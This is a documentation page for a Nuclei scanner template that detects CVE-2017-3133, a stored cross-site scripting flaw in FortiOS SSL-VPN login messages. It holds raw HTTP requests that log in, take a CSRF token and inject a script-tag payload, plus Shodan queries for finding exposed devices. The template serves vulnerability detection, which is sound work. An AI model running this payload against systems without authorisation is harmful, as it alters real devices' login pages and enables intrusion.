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Fortinet FortiOS < 5.6.0 - Cross-Site Scripting

ID: CVE-2017-3133

Severity: medium

Author: ritikchaddha

Tags: cve,cve2017,fortinet,fortios,xss,authenticated

Description

Section titled “Description”

A Cross-Site Scripting vulnerability in Fortinet FortiOS versions 5.6.0 and earlier allows attackers to execute unauthorized code or commands via the Replacement Message HTML for SSL-VPN.

YAML Source

Section titled “YAML Source”
id: CVE-2017-3133


info:
  name: Fortinet FortiOS < 5.6.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    A Cross-Site Scripting vulnerability in Fortinet FortiOS versions 5.6.0 and earlier allows attackers to execute unauthorized code or commands via the Replacement Message HTML for SSL-VPN.
  impact: |
    Successful exploitation could lead to execution of malicious javascript.
  remediation: |
    Apply the latest security patches or upgrade to new version to mitigate the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/42388
    - https://nvd.nist.gov/vuln/detail/CVE-2017-3133
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-3133
    cwe-id: CWE-79
    epss-score: 0.00046
    epss-percentile: 0.15636
    cpe: cpe:2.3:o:fortinet:fortios:5.4.0:*:*:*:*:*:*:*
  metadata:
    vendor: fortinet
    product: fortios
    shodan-query:
      - http.html:"/remote/login" "xxxxxxxx"
      - http.favicon.hash:945408572
      - cpe:"cpe:2.3:o:fortinet:fortios"
  tags: cve,cve2017,fortinet,fortios,xss,authenticated


http:
  - raw:
      - |
        POST /logincheck HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain;charset=UTF-8


        ajax=1&username={{username}}&secretkey={{password}}


      - |
        POST /p/system/replacemsg/edit/sslvpn/sslvpn-login/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-CSRFTOKEN: {{csrf}}
        DNT: 1


        csrfmiddlewaretoken={{csrf}}&buffer=ABC%3C%2Ftextarea%3E%0A%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E%0A


      - |
        GET /p/system/replacemsg-group/edit/None/sslvpn/sslvpn-login/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-CSRFTOKEN: {{csrf}}


    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - "</textarea><script>alert(document.domain)</script>"


      - type: word
        part: header_3
        words:
          - "text/html"


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        part: header
        name: csrf
        group: 2
        regex:
          - 'ccsrftoken_([0-9_a-z]+)="([A-Z0-9]+)";'
        internal: true
# digest: 490a0046304402201640163b95013fe4404c276fdde1abd7f7080a8e9f80dcf047654e379abbaf6902203410030b30aa8d4c9f79ab8b350a9b907644b5066ab9a7252b07dae2f6d2d5e1:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-3133.yaml"

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